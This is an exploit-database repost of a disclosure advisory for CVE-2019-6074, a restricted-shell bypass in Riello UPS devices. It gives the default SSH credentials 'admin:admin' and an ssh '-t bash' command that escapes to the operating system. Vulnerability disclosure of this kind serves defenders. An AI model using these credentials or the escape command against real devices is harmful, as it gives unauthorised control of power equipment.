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Riello UPS Restricted Shell Bypass

CVE Category Price Severity
CVE-2019-6074 CWE-287 $5000 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2023-03-19
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02578 0.50672

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023030041

Below is a copy:

Riello UPS Restricted Shell Bypass
I. VULNERABILITY
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Riello UPS systems allow to easily escape the configuration shell and get access to the operating system

II. VENDOR
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Riello (https://www.riello-ups.es/)

III. DESCRIPTION
-------------------------
Riello UPS systems allow SSH access to configure the device, sometimes with the default credentials "admin:admin".

Using the "-t bash" or "-t /bin/bash" paramters it is possible to escape the restricted shell and get access to the operating system:

ssh [email protected] -t bash

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